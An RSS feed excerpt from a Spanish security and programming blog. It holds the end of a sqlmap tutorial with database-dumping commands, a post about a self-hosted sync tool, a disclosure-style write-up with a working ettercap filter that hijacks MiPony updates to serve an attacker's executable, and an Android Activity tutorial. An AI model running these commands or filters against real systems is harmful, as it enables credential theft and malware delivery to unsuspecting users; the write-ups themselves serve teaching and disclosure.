./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --sql-query="SELECT user,pass FROM usuarios WHERE user LIKE '%admin%'"

Que nos daría en este caso algo parecido a esto

Captura

Otro modificador importante si vamos a realizar varias consultas SQL es --sql-shell el cual nos proporciona una shell de SQL para ejecutar las consultas que necesitemos.

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --sql-shell

Por último vamos a ver como guardar una copia de las bases de datos en nuestro PC mediante el modificador --dump, este modificador guardará todas las tablas por lo que es interesante utilizar el modificador -T “NOMBRE_TABLA” para dumpear únicamente aquello que nos interese

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump -T usuarios

Además de que el resultado nos lo va a mostrar nos va a generar un fichero csv que podemos abrir con cualquier programa como excel para consultarlo de una manera mas cómoda, si quisieramos seleccionar una base de datos diferente a la actual debemos usar el modificador --D “nombre_base_datos”

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump -D "information_schema" -T "GLOBAL_VARIABLES"

Captura

Si por el contrario estamos ansiosos de información podemos volcar todo el contenido de todas las bases de datos mediante el modificador --dump-all

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump-all

Y esto es todo por hoy hasta la próxima entrega en la que explicaremos otras funciones, no tan conocidas pero muy útiles y potentes de SQLmap.

]]>
http://www.blogdemigueldiaz.com/2013/04/sql-injection-curso-de-sqlmap-a-fondo-i/feed/ 3
mDrive – Sincroniza y comparte tus ficheros con cualquier PC http://www.blogdemigueldiaz.com/2013/03/mdrive-sincroniza-y-comparte-tus-ficheros-con-cualquier-pc/?utm_source=rss&utm_medium=rss&utm_campaign=mdrive-sincroniza-y-comparte-tus-ficheros-con-cualquier-pc http://www.blogdemigueldiaz.com/2013/03/mdrive-sincroniza-y-comparte-tus-ficheros-con-cualquier-pc/#comments Wed, 27 Mar 2013 20:20:31 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2009 Continuar leyendo ]]> mDrive es un nuevo proyecto que he programado que permite mantener sincronizados y accesibles tus archivos en cualquier PC. Imagina que tienes varios ordenadores y en todos ellos quieres mantener organizada tu librería de fotos, con mDrive esto se hará automáticamente de forma que si añades una nueva fotografía esta se añadirá a todos tus equipos o imagina que quieres compartir una carpeta con el resto de tus compañeros de trabajo, no es problema, esto también puedes hacerlo con mDrive.

screen

Si usas algún servicio de sincronización en la nube como Skydrive o Box seguro que te has preguntado en mas de una ocasión como se maneja tu información y qué pasaría si uno de estos servicios cerrara.

Con esta idea he creado mDrive, un servicio de sincronización en la nube similar a los anteriores que puedes montar en tu propio servidor, de forma que solo tu seas el dueño de tu información, además podrás sincronizar tantas carpetas como desees y no te limitarás a una sola como en el caso de otros servicios.

Ahora mismo mDrive está en desarrollo pero puedes probarlo gratuitamente utilizando nuestros servidores creando una cuenta de prueba.

Si finalmente te animas a montar tu propio servidor de mDrive sus requisitos son simples, Apache, PHP5 y MySQL en el lado del servidor y .Net Framework 2.0 en el lado del cliente.

Actualmente mDrive se encuentra en versión beta y la parte del servidor será liberada al alcanzar la primera versión estable.

]]>
http://www.blogdemigueldiaz.com/2013/03/mdrive-sincroniza-y-comparte-tus-ficheros-con-cualquier-pc/feed/ 0
Actualizaciones inseguras (Evilgrade): Descubriendo aplicaciones vulnerables y explotándolas con Ettercap http://www.blogdemigueldiaz.com/2012/09/actualizaciones-inseguras-exploit-ettercap-evilgrade/?utm_source=rss&utm_medium=rss&utm_campaign=actualizaciones-inseguras-exploit-ettercap-evilgrade http://www.blogdemigueldiaz.com/2012/09/actualizaciones-inseguras-exploit-ettercap-evilgrade/#comments Wed, 19 Sep 2012 05:15:20 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1929 Continuar leyendo ]]> Cómo todos sabemos cuando un programa se actualiza este lo hace realizando una solicitud a un servidor, este le responde diciendo cual es la versión actual y donde descargarla. A continuación si el programa tiene una versión distinta descarga el instalador y lo ejecuta, hasta aquí nada nuevo pero si no se toman las medidas adecuadas las actualizaciones pueden ser un fallo de seguridad en si mismo. Contradictorio ¿no?

Básicamente son aquellas en las que una vez descargadas, el sistema de actualizaciones no comprueba si ese fichero es legítimo (bien mediante la firma del fabricante o cualquier otra medida de seguridad) por lo que si un atacante efectúa un Man In The Middle podría hacerse pasar por el servidor y decirle al actualizador que existe una nueva versión la cual debe descargarse desde un servidor ilegitimo.

Caso práctico vulnerabilidad Evilgrade en MiPony.

El primer paso es saber de que forma se actualiza la aplicación, saber cómo verifica si está actualizada o no y de dónde obtiene los ficheros necesarios para obtener dicha actualización. En mi caso he decidido auditar la última versión de MiPony simplemente por que me olía que sería vulnerable a este tipo de ataques. Obviamente he avisado MiPony de esta vulnerabilidad así que imagino que la resolverán en breve.

Para monitorizar como trabaja la aplicación a la hora de buscar actualizaciones simplemente dejaremos ejecutando MiPony sin ningún trabajo activo, además mediante WireShark capturaremos el tráfico de red. Por último pediremos a MiPony que nos busque actualizaciones, un vez hecho paramos Wireshark y analizamos el tráfico generado.

Lo primero que podemos ver es que el programa realiza una consulta HTTP hacia http://www.mipony.net/checkversion/?v=2.0.0&l=es-ES no hay que ser un genio para intuir que el la variable v=2.0.0 corresponde a la versión del programa. Posteriormente podemos ver resaltado en azul que el servidor nos devuelve una página Web con el texto “ok”. Esto se produce por que tenemos la última versión, por tanto el programa al recibir el texto “ok” sabe que está actualizado y ahí termina el proceso.

¿Pero que pasaría si nuestra versión no fuera la 2.0.0? Pues muy fácil podemos comprobarlo visitando la URL cambiando el parametro v, por ejemplo si visitamos http://www.mipony.net/checkversion/?v=1.0.0&l=es-ES veremos que la respuesta es distinta, en este caso nos devuelve una URL: http://www.mipony.net/checkversion/download.php la cual es la dirección que se abre cuando no tenemos MiPony actualizado y pulsamos en actualizar.

Modificando las peticiones y explotando Evilgrade en MiPony

Muy bien, ya sabemos el método que usa MiPony para actualizarse: Consulta una URL, si esta responde OK el programa sabe que está actualizado, si devuelve una URL nos abre dicha dirección la cual contiene una página donde descargar la última versión o un enlace directo al instalador, ahora toca modificar la respuesta que realiza MiPony para hacer que dicha URL apunte a nuestro propio servidor, para ello utilizaremos una potentisima herramienta llamada Ettercap.

Ettercap es una herramienta la cual incluye multiples herramientas para ataques Man In The Middle, lo mas interesante de ella es que podemos programar filtros que modifiquen los paquetes de la red, si nunca has utilizado ettercap lee primero algo acerca de el.

He escrito un pequeño filtro para ettercap que os pongo aquí, como veis el lenguage es muy parecido a C, con algunas diferencias, por ejemplo la sentencia if () debe llevar un espacio entre if y el paréntesis.

Si necesitas ayuda para escribir tus propios filtros consulta $man etterfilter para ver las funciones disponibles.

mipony.filter

#En caso de que sea una petición TCP Web
if (ip.proto == TCP && tcp.dst == 80) {
    #Y contenga MiPony
    if (search(DATA.data, "mipony")){
        #Modifica la cadena 2.0 por 1.0
        replace("2.0", "1.0");
        msg("mipony detectado");
    }
#En caso de que la peticion no sea TCP
}else{
    #Pero si contenga MiPony
    if (search(DATA.data, "mipony")){
        #modifica la url de la pagina de descargas, por la url que contiene nuestro exe
        replace("http://www.mipony.net/checkversion/download.php", "http://blogdemigueldiaz.com/descarga/mipony.exe");
        msg("mipony2 detectado");
    }
}

Lo que hace es comprobar los paquetes que contienen “mipony” y realiza dos acciones, en caso de que sea TCP modifica el texto 2.0 por 1.0, de esta forma cuando se realice la petición  a http://www.mipony.net/checkversion/?v=2.0.0&l=es-ES realmente el servidor recibirá una petición hacia http://www.mipony.net/checkversion/?v=1.0.0&l=es-ES, por otro lado las consultas que no sean TCP pero que si contengan “mipony”, es decir las respuestas que nos de el servidor reemplazara la cadena “http://www.mipony.net/checkversion/download.php” por “http://blogdemigueldiaz.com/descarga/mipony.exe” que es donde guardaremos el ejecutable que queramos que el usuario descargue y ejecute, notese que ambas cadenas contienen el mismo número de caracteres en caso contrario no coincidiría con la longitud del paquete y nos daría problemas. Una vez hayáis escrito vuestro filtro debéis compilarlo con:

Donde mipony.filter sería el fichero de código fuente y mipony.ef el fichero de salida, si alguna vez habéis usado gcc os sonará la sintaxis.

Ahora por nuestra parte solo faltaría iniciar ettercap realizar un ataque MITM y cargar el filtro, podéis realizarlo tanto en con la interfaz gráfica ejecutando ettercap -C o ettercap -G como en la versión de texto de esta forma

Dónde -Q es para que no nos muestre información sobre cada paquete, -M el modo para realizar el ataque de MITM en nuestro caso ARP Poisoning -F es el filtro que queramos aplicar y -T que queremos usar ettercap en modo texto.

Cuando una víctima en nuestra red abra su programa obtendrá un bonito mensaje diciendo que si desea actualizar MiPony, al pulsar Si se descargará el ejecutable que nosotros le hayamos pedido.

Métodos de proteger nuestras aplicaciones:

Hay muchísimos métodos para ello, los dos principales serían utilizar protocolos cifrados como SSL para impedir que nuestros paquetes sean vistos y modificados por terceros y  que sea el propio software el que arranque el programa de instalación y que SIEMPRE se asegure que el programa está debidamente firmado.

Nada mas,

Happy Hacking.

]]>
http://www.blogdemigueldiaz.com/2012/09/actualizaciones-inseguras-exploit-ettercap-evilgrade/feed/ 0
Programación en Android para torpes (V) – Creando nuevas ventanas o Activitys http://www.blogdemigueldiaz.com/2012/08/programacion-en-android-para-torpes-v-creando-nuevas-ventanas-o-activitys/?utm_source=rss&utm_medium=rss&utm_campaign=programacion-en-android-para-torpes-v-creando-nuevas-ventanas-o-activitys http://www.blogdemigueldiaz.com/2012/08/programacion-en-android-para-torpes-v-creando-nuevas-ventanas-o-activitys/#comments Tue, 21 Aug 2012 15:10:24 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1875 Continuar leyendo ]]> Las activitys son el equivalente a las ventanas o formularios de cualquier lenguaje de programación en Windows, además tienen una ventaja frente a estos ya que un programa puede llamar a un determinado formulario de otra aplicación. Por poner un ejemplo claro cuando abrimos la aplicación de Facebook y pulsamos subir foto, la aplicación de Facebook llama al activity de la camara para realizar una nueva fotografía. Además podemos pasar diferentes parámetros a dicha Activity como si llamáramos a una función mas.

En esta entrega aprenderemos a crear nuestros propios activitys y llamar de uno al otro al pulsar un botón, una vez aprendido veremos como pasar un parámetro de un Activity a otro.

Si no has leído aún las entregas anteriores recordar que las tenéis a vuestra disposición:

Abrir un nuevo Activity al pulsar un botón

Para empezar en nuestro activity principal (Nosotros le hemos llamado Juegoactivitys) crearemos un botón, con id btAbrirNuevoActivity que será el encargado de llamar a nuestra segundo Activity. Además crearemos una segunda actividad para ello pulsamos con el botón derecho sobre nuestro proyecto y vamos a Nuevo>Otras>Android Activity y seguimos el asistente, nosotros le hemos dando el nombre de SegundaActivity y le hemos puesto un TextView con id tvHolaMundo.

JugandoActivitys.java

public class JugandoActivitys extends Activity implements OnClickListener {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_jugando_activitys);
        //Define el boton
        Button boton = (Button) findViewById(R.id.btAbrirNuevoActivity);
        //Asigna el evento onclick al boton
        boton.setOnClickListener(this);
    }
	public void onClick(View v) {
		//Define la actividad
		Intent i = new Intent(this, SegundaActivity.class);
		//Inicia la actividad
		startActivity(i);
	}
}
Fijemonos a partir de la línea 9, justo en esa línea y 12 establece el evento onClick al botón, esto vimos como hacerlo en la entrega número 4 del curso.


Entonces al pulsar el botón se ejecutará la función onClick(), esta función primero declara in Intent.
Los Intent son objetos propios de Android, el concepto es bastante abstracto y la documentación oficial no lo deja claro del todo, pero para que que nos entendamos su única finalidad es poder relacionarse con los diferentes Activitys (abrirlos, cerrarlos, recuperarlos..), una vez lo hemos declarado con new Intent(this, nombre_de_la_clase) nos falta iniciar esta actividad, para ello hacemos uso de la función startActivity(intent); línea 20.

Enviar un parámetro de un activity a otro.

Ahora supongamos que queremos enviar ciertas variables al nuevo activity antes de llamarlo, por ejemplo supongamos que el primer activity pide el nombre del usuario a través de un campo de texto y el segundo debe mostrar ¡Hola Miguel!, siendo Miguel el nombre del usuario.

Lo primero es añadir un campo de texto al Acitivity principal, nosotros le pondremos la id “etNombre”. Posteriormente enviaremos los parametros con un elemento llamado Bundle y las funciones putString y getExtras, como de costumbre voy a poner un ejemplo y explicarlo.

public class JugandoActivitys extends Activity implements OnClickListener {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_jugando_activitys);
        //Define el boton
        Button boton = (Button) findViewById(R.id.btAbrirNuevoActivity);
        //Asigna el evento onclick al boton
        boton.setOnClickListener(this);
    }
	public void onClick(View v) {
		//Define el campo de texto
		EditText campo_texto = (EditText)findViewById(R.id.etNombre);
		String nombre_usuario = campo_texto.getText().toString();
		//Define el bundle
		Bundle parametros = new Bundle();
		parametros.putString("nombre", nombre_usuario);
		//Define la actividad
		Intent i = new Intent(this, SegundaActivity.class);
		i.putExtras(parametros);
		//Inicia la actividad
		startActivity(i);
	}
}

Lo primero es obtener el texto introducido por el usuario, para ello declaramos el campo de texto y guardamos el contenido en la variable nombre_usuario.

A continuación, en la línea 21 definimos el objeto Bundle en nuestro caso le daremos de nombre “parametros”, este objeto es básicamente un contenedor de parametros y en el deberemos meter todos los parametros que deseemos pasar, para añadir nuevos parámetros se hace de la siguiente forma parametros.putString(“NOMBRE_DEL_PARAMETRO”, VALOR_DEL_PARAMETRO); aparte de putString disponemos de las funciones .putInt, putFloat, etc. para cada tipo de variable.

Por último en la línea 27 asociamos estos parámetros a nuestro intent mediante la función .putExtras(bundle);

Recoger un parámetro desde un Activity

Ahora nos faltaría que SegundoActivity leyera el parámetro que hemos enviado y lo mostrara, para ello definiremos un nuevo objeto bundle que almacenará los diferentes parametros obtenidos.

SegundoActivity.java

public class SegundaActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_segunda);
        Bundle parametros = this.getIntent().getExtras(); //Definimos el contenedor de parametros
        String nombre = parametros.getString("nombre"); //Guardamos el parametro nombre en la variable nombre
        TextView campo_texto = (TextView) findViewById(R.id.tvHolaMundo);
       campo_texto.setText("¡Hola "+nombre+"!"); //Mostramos el texto
    }
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        getMenuInflater().inflate(R.menu.activity_segunda, menu);
        return true;
    }
}

En la línea 8 definimos el Bundle y le asignamos el valor con la función .getExtras();
Después obtenemos el valor del parámetro “nombre” y lo asignamos a la variable nombre.

Por último solo falta editar el TextView como vimos en la entrega número 3 del curso de programación para android.

]]>
http://www.blogdemigueldiaz.com/2012/08/programacion-en-android-para-torpes-v-creando-nuevas-ventanas-o-activitys/feed/ 0